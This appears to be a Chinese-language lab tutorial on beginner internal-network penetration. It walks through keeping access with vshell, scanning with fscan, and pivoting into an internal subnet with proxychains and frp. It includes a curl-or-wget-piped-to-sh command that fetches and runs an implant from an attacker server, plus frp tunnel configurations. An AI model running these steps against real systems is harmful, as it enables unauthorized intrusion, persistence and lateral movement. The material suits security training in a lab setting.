入门内网渗透实验一
实验目标
熟悉内网渗透的基本流程,熟悉内网渗透时一些基本工具的实验,这个实验基于 Linux
。
环境搭建
https://github.com/justdoit-cai/LAN-penetration-exp/tree/main/LAN-penetration-exp1
获取暴露在外网的靶机的权限
首先内网渗透的第一步肯定是要先利用外网程序的漏洞来反弹 shell
到自己公网的 vps
上,获取一台外网机器的权限。
持久化webshell
一方面为了 webshell
的稳定性,另一方面为了避免程序的漏洞被修复导致我们无法再利用程序的漏洞获取外网靶机的 webshell
,我们需要上传后门到靶机上来持久化 webshell
。
这里主要介绍几种持久化 webshell
的工具。
vshell
下载地址
不过不幸的是,这个工具现在被封禁了,停止了更新并且也不给用了。
使用方法
下载程序到自己的 vps
上,自己的 vps
要开放 8082
(管理端口)和 8084
(上线靶机端口)端口,然后直接启动程序即可。
这里管理页面的默认账号密码是 admin/qwe123qwe
。
这里我们复制 客户端生成 页面的上线命令通过反弹 shell
在受控的靶机上执行,然后过一会就可以获取持久化的 shell
了。
1 | (curl -fsSL -m180 <服务端地址>:8084/slt||wget -T180 -q <服务端地址>:8084/slt)|sh |
内网信息收集
fscan
下载地址
https://github.com/shadow1ng/fscan
使用方法
在靶机执行下面的命令:
1 | wget https://github.com/shadow1ng/fscan/releases/download/1.8.3/fscan |
这里发现了 172.18.0.2
这台另外的内网主机,并且开放了 8080
端口。
挂代理进内网
vshell工具
前面用到过的 vshell
自身就支持一键开启代理,而且这个的操作很方便,因为 vshell
会自动帮我们搞好到靶机的代理,不需要我们自己手动操作靶机。
隧道代理的使用方式
这里在介绍下面一种代理工具前,我们先来学习一下怎么使用我们搭建好的 隧道代理 ,这里以 Socks5
隧道代理为例。
proxychains工具
proxychains <待执行的命令>
命令可以指定某个待执行的命令在发起网络请求的时候使用我们 proxychains
使用的代理。这样我们在本地的 kali
对目标内网发起脚本程序攻击时,脚本程序可以连接的到目标内网。
proxychains
的配置文件在为 /etc/proxychains.conf
或者 /etc/proxychains4.conf
。我们配置代理只需要在这个文件的底部如下配置就可以了:
1 | # 代理如果没有验证就可以不需要后面两个配置 |
proxychains
的使用方法如下:
我们可以发现 curl
命令带了 proxychains
走代理就可以成功访问目标内网。
并且我们在 kali
中还可以使用 proxychains
来运行浏览器,这里在渗透内网的网站时就会更方便。
1 | # 使用代理运行firefox,这样就可以访问内网的页面了 |
frp工具
介绍
frp
是一个高性能的反向代理应用,支持 tcp
, udp
, http
, https
协议。
- 利用处于防火墙后的机器,对外网环境提供
http
或https
服务。 - 对于
http
,https
服务支持基于域名的虚拟主机,支持自定义域名绑定,使多个域名可以共用一个80
端口。 - 利用处于防火墙后的机器,对外网环境提供
tcp
和udp
服务,例如在家里通过ssh
访问处于公司局部环境的主机。
工作原理
- 服务端运行,监听一个主端口,等待客户端的连接;
- 客户端连接到服务端的主端口,同时告诉服务端要监听的端口和转发类型;
- 服务端
fork
新的进程监听客户端指定的端口; - 外网用户连接到客户端指定的端口,服务端通过和客户端的连接将数据转发到客户端;
- 客户端进程再将数据转发到本地服务,从而实现内网对外暴露服务的能力。
下载地址
https://github.com/fatedier/frp
使用方法
老版本的
frp
使用的是ini
配置文件,新版本的frp
默认使用的是toml
配置文件。最新版的配置文件格式参考: https://dusays.com/636/
在自己的公网服务器上执行下面的命令:
1 | wget https://github.com/fatedier/frp/releases/download/v0.56.0/frp_0.56.0_linux_amd64.tar.gz |
下面两种方式的 frps.toml
的文件内容都如下:
1 | bindPort = 10002 |
在靶机上执行上面相似的命令:
1 | wget https://github.com/fatedier/frp/releases/download/v0.56.0/frp_0.56.0_linux_amd64.tar.gz |
方法一:传统代理配置
frpc.toml
的文件内容如下:
1 | serverAddr = "43.139.58.138" |
其中
server
端的bindPort
对应client
端的serverPort
,注意这个端口是它们两个的数据通信端口,而非我们访问的端口。上面的文件内容表示我们对公网43.139.58.138:10001
地址发过去的tcp
数据会被转发到内网的172.18.0.2:8080
处。
注意这里在访问内网的时候需要通过公网的 ip
地址来访问。
方法二:socks5隧道代理配置
按照 frp
本身的工作原理是使用的传统代理配置,但是 frp
也提供了插件来搭建隧道代理,使用方式如下。
frpc.toml
的文件内容如下:
1 | serverAddr = "43.139.58.138" |
然后启动两端后使用的方式和前面的 vshell
代理一样,使用内网 ip
地址来访问。
传统代理和隧道代理的区别
隧道代理( Tunnel Proxy
)是一种特殊的代理服务,它允许用户通过固定的本地 IP
和端口访问互联网。在这个过程中,云端服务器负责 自动切换 IP
地址,从而实现 匿名访问 。通过隧道代理,用户可以绕过网络审查,保护网络通讯安全,以及隐藏用户身份。
隧道代理的工作原理相对简单。当您通过隧道代理访问互联网时,本地计算机将请求发送到代理服务器。代理服务器接收到请求后,会使用其 自身的 IP
地址与目标服务器建立连接 。在数据传输过程中,代理服务器会自动更换 IP
地址,确保用户的真实 IP
地址不被泄露。